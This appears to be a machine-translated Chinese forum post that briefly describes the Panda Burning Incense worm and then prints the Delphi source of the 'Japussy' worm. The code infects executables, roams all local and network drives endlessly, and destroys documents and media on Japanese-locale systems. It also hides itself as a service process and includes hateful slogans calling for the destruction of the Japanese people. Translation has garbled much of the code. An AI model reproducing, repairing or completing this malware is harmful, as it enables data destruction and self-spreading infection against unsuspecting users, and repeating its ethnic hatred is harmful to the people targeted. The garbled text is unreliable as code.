沒有編程和安全基礎。
即使我給妳工具,我也不會用。
偷號不好
如果妳感興趣,就好好學習。
最近化身為“金豬報喜”的“熊貓燒香”是壹種傳染性蠕蟲病毒,可感染exe、com、pif、src、html、asp等文件。在系統中,它還可以停止大量防病毒軟件進程並刪除擴展名為gho的文件,這是壹個系統備份工具GHOST的備份文件,使用戶的系統備份文件丟失。全部。受感染用戶系統中的exe可執行文件已被更改為看起來像可愛的金豬。
程序Japussy
使用
Windows,SysUtils,類,圖形,ShellAPI{,Registry}。
常數
HeaderSize = 82432//病毒體的大小
IconOffset = EB8//PE文件主圖標的偏移量
//在我的Delphi5 SP1上編譯的大小在其他版本的Delphi中可能有所不同。
//查找十六進制字符串2800000020,以查找主圖標的偏移量。
{
header size = 38912;//Upx壓縮的病毒體的大小
IconOffset = BC//Upx壓縮的PE文件主圖標的偏移量。
//Upx 1.24W用法:Upx-9-8086 Japussy.exe。
}
IconSize = E8//PE文件的主圖標大小為744字節。
icon tail = icon offset+IconSize;//PE文件主圖標的尾部
ID = 444444//感染標記
//編寫無用的代碼。
“如果壹個種族需要被消滅,那壹定是大和民族。”+
“如果壹個國家需要被摧毀,那壹定是日本!”+
*** W32。japussy . worm . a * * *‘;
{$R *。RES}
函數RegisterServiceProcess(dw processid,dw type:Integer):Integer;
stDCall外部“kernel 32 . dll”;//函數聲明
定義變量
TmpFile:string;
si:startup info;
Pi:進程信息;
is jap:Boolean = False;//日語版的操作系統標記
{正在判斷是否是windows 9。x版本}
函數is win9x:Boolean;
定義變量
ver:tosversion info;
開始
結果:= False
ver . dwosversioninfosize:= SizeOf(TOSVersionInfo);
如果不是GetVersionEx(Ver),則
退出;
if(ver . dwplatformid = VER平臺WIN32窗口)then //Win9x
結果:= True
結束;
{在數據流之間復制}
過程復制流(Src:t stream;sStartPos:整數;dst:t stream;
dStartPos:整數;計數:整數);
定義變量
sCurPos,dCurPos:整數;
開始
sCurPos := Src。位置;
dCurPos := Dst。位置;
Src。seek(sStartPos,0);
夏令時。seek(dStartPos,0);
夏令時。copy from(Src,Count);
Src。seek(scur pos,0);
夏令時。seek(dCurPos,0);
結束;
{將主機文件與受感染的PE文件分開使用}
過程提取文件(文件名:字符串);
定義變量
sStream,dStream:TFileStream;
開始
嘗試
sStream := TFileStream。create(ParamStr(0)、fmOpenRead或fmShareDenyNone);
嘗試
dStream := TFileStream。Create(文件名,FM create);
嘗試
流。seek(header size,0);//跳過標頭的病毒部分
數據流。copy from(sStream,sStream。size-header size);
最後
數據流。免費;
結束;
最後
流。免費;
結束;
除...之外
結束;
結束;
{填充STARTUPINFO結構}
過程FillStartupInfo(var Si:startup info;州:字);
開始
Si . CB:= SizeOf(Si);
si . LP reserved:= nil;
si . LP desktop:= nil;
si . LP title:= nil;
si . dw flags:= STARTF _ USESHOWWINDOW;
si . wshowindow:= State;
si . CB reserved 2:= 0;
si . lpreserved 2:= nil;
結束;
{發送有毒郵件}
過程SendMail
開始
//郵件終止
結束;
{受感染的PE文件}
過程感染文件(文件名:字符串);
定義變量
HdrStream,SrcStream:TFileStream;
IcoStream,dst stream:TMemoryStream;
iID:LongInt;
愛康:提康;
已感染,IsPE:Boolean;
I:整數;
buf:array【0..1】的字符;
開始
Try //錯誤,文件正在使用中,退出。
如果compare text(filename,‘japussy . exe‘)= 0,則//如果您是自己,則不會被感染。
退出;
已感染:= False
IsPE:= False;
SrcStream := TFileStream。Create(文件名,fmOpenRead);
嘗試
對於i := 0到8,請檢查PE文件頭。
開始
SrcStream。seek(I,sofrombinging);
SrcStream。read(Buf,2);
如果(buf【0】= # 80)和(buf【1】= # 69)則//PE標簽
開始
IsPE:= True;//是PE文件。
打破;
結束;
結束;
SrcStream。seek(-4,soFromEnd);//檢查感染標記
SrcStream。閱讀(iID,4);
if(iID = ID)或(SrcStream。大小& lt10240)則//小於10240的文件不會被感染。
已感染:= True
最後
SrcStream。免費;
結束;
如果被感染或(非IsPE),則//退出PE文件。
退出;
IcoStream := TMemoryStream。創建;
DstStream := TMemoryStream。創建;
嘗試
aIcon := TIcon。創建;
嘗試
//獲取受感染文件的主圖標(744字節)並將其存儲在流中。
艾康。ReleaseHandle
艾康。handle:= extract icon(h instance,PChar(FileName),0);
艾康。SaveToStream(IcoStream);
最後
艾康。免費;
結束;
SrcStream := TFileStream。Create(文件名,fmOpenRead);
//頭文件
HdrStream := TFileStream。create(ParamStr(0)、fmOpenRead或fmShareDenyNone);
嘗試
//將數據寫在病毒體主圖標之前。
copy stream(HDR stream,0,DstStream,0,icon offset);
//寫入當前程序的主圖標。
copy stream(IcoStream,22,DstStream,IconOffset,IconSize);
//將病毒體主圖標的數據寫入病毒體尾部。
copy stream(HDR stream、IconTail、DstStream、IconTail、header size-icon tail);
//寫入宿主程序
copy stream(SrcStream,0,DstStream,HeaderSize,SrcStream。尺寸);
//寫入受感染標誌
DstStream。seek(0,2);
iID:= 444444;
DstStream。write(iID,4);
最後
HdrStream。免費;
結束;
最後
SrcStream。免費;
IcoStream。免費;
DstStream。SaveToFile(文件名);//替換宿主文件
DstStream。免費;
結束;
除外;
結束;
結束;
{將目標文件寫入無用代碼後將其刪除}
過程SmashFile(文件名:字符串);
定義變量
FileHandle:整數;
I,Size,Mass,Max,Len:整數;
開始
嘗試
setfile attributes(PChar(FileName),0);//移除只讀屬性
FileHandle := FileOpen(文件名,fmOpenWrite);//打開文件
嘗試
size:= get filesize(file handle,nil);//獲取文件大小
I:= 0;
隨機化;
max:= Random(15);//編寫無用代碼的隨機次數
如果Max & lt那就5個
max:= 5;
mass:= Size div Max;//每個間隔塊的大小
Len := Length(流行語);
當我& lt馬克斯·多
開始
FileSeek(file handle,i * Mass,0);//定位
//編寫無用的代碼來徹底銷毀文件!
file write(file handle,Catchword,Len);
Inc(壹);
結束;
最後
file close(file handle);//關閉文件
結束;
delete file(PChar(FileName));//刪除
除...之外
結束;
結束;
{獲取可寫驅動器列表}
函數get drives:string;
定義變量
磁盤類型:Word
d:Char;
Str:字符串;
I:整數;
開始
對於i := 0到25,do //遍歷26個字母。
開始
d:= Chr(I+65);
str:= D+‘:\‘;
disk type:= get drive type(PChar(Str));
//獲取本地磁盤和網絡磁盤。
如果(DiskType = DRIVE_FIXED)或(DiskType = DRIVE_REMOTE),則
結果:=結果+D;
結束;
結束;
{遍歷目錄、感染和破壞文件}
過程循環文件(路徑,掩碼:字符串);
定義變量
I,計數:整數;
Fn,Ext:string;
子指針:t字符串;
search rec:TSearchRec;
msg:TMsg;
function is validir(search rec:TSearchRec):Integer;
開始
if(search rec。Attr <& gt16)和(搜索記錄。名稱& lt& gt'.')和
(SearchRec。名稱& lt& gt'..')
結果:= 0 //不是目錄。
else if(search rec。Attr = 16)和(SearchRec。名稱& lt& gt'.')和
(SearchRec。名稱& lt& gt'..')
結果:= 1 //不是根目錄。
else結果:= 2;//是根目錄。
結束;
開始
if(FindFirst(Path+Mask,faAnyFile,search rec)= 0)然後
開始
重復
PeekMessage(Msg,0,0,0,PM _ REMOVE);//調整消息隊列以避免懷疑。
如果IsValidDir(search rec)= 0,則
開始
Fn := Path + SearchRec。姓名;
Ext :=大寫(ExtractFileExt(Fn));
if(Ext =‘。EXE“)或(Ext =“。SCR)那麽
開始
感染文件(Fn);//受感染的可執行文件
結束
else if(Ext =‘。HTM)或(Ext =)。HTML“)或(Ext =“)。ASP)那麽
開始
//感染HTML和ASP文件,將Base64編碼的病毒寫入。
//感染瀏覽此網頁的所有用戶。
//哪位大佬願意完成?
結束
else if Ext =‘。WAB當時的//Outlook通訊簿文件
開始
//獲取Outlook電子郵件地址
結束
else if Ext =‘。ADC然後//Foxmail地址自動完成文件。
開始
//獲取Foxmail電子郵件地址
結束
else if Ext =‘IND‘then//Foxmail地址簿文件
開始
//獲取Foxmail電子郵件地址
結束
其他
開始
如果是IsJap,那麽//是壹個日本操作系統。
開始
if(Ext =‘。DOC)或(Ext =‘。XLS)或(Ext =)。MDB’)或
(Ext =“。MP3“)或(Ext =“。RM‘)或(Ext =‘。RA’)或
(Ext =‘。WMA)或(Ext =)。ZIP)或(Ext =‘。RAR)或
(Ext =‘。MPEG)或(Ext =‘。ASF)或(Ext =‘。JPG)或
(Ext =‘。JPEG)或(Ext =‘。GIF)或(Ext =‘。主權財富基金)或
(Ext =‘。PDF)或(Ext =‘。CHM)或(Ext =‘。AVI)那麽
smash file(Fn);//銷毀文件
結束;
結束;
結束;
//在感染或刪除文件後休眠200毫秒,以避免高CPU使用率引起的懷疑。
睡眠(200);
直到(FindNext(search rec)& lt;& gt0);
結束;
FindClose(search rec);
SubDir := TStringList。創建;
if(FindFirst(Path+‘*。*,faDirectory,search rec = 0)那麽
開始
重復
如果IsValidDir(search rec)= 1,則
SubDir。添加(搜索記錄。姓名);
直到(FindNext(search rec)& lt;& gt0);
結束;
FindClose(search rec);
計數:=細分。count-1;
對於i := 0來計數do
循環文件(路徑+子目錄。strings+‘\‘,Mask);
FreeAndNil(SubDir);
結束;
{遍歷磁盤上的所有文件}
程序感染文件;
定義變量
driver list:string;
I,Len:整數;
開始
如果GetACP = 932,則//日本操作系統
is jap:= True;//去死吧!
driver list:= get drives;//獲取可寫磁盤列表
len:= Length(driver list);
While True do //無限循環
開始
For i := Len downto 1 do //遍歷每個磁盤驅動器。
循環文件(driver list+‘:\‘,‘*。*');//已感染
SendMail//發送有毒的電子郵件
睡眠(1000 * 60 * 5);//睡眠5分鐘
結束;
結束;
{主程序開始}
開始
如果是Win9x,那麽//就是Win9x。
RegisterServiceProcess(getCurrentProcessID,1)//註冊為服務進程。
else //WinNT
開始
//遠程線程映射到資源管理器進程。
//
結束;
//如果是原病毒體本身
如果compare text(extract filename(ParamStr(0),‘japussy . exe‘)= 0,則
感染文件//感染和電子郵件
Else //已經寄生了宿主程序並開始工作。
開始
TmpFile:= ParamStr(0);//創建臨時文件
delete(tmp file,Length(tmp file)-4,4);
TmpFile:= TmpFile+# 32+‘。‘exe‘;//真實的主機文件,多壹個空格。
extract file(TmpFile);//分開它
FillStartupInfo(Si,SW _ show default);
CreateProcess(PChar(TmpFile)、PChar(TmpFile)、nil、nil、True,
0,零,“。”,Si,Pi);//創建要運行的新進程。
感染文件;//感染和電子郵件
結束;
結束。
CMD命令shutdown -a //計算機中的病毒被取消後倒計時時關機。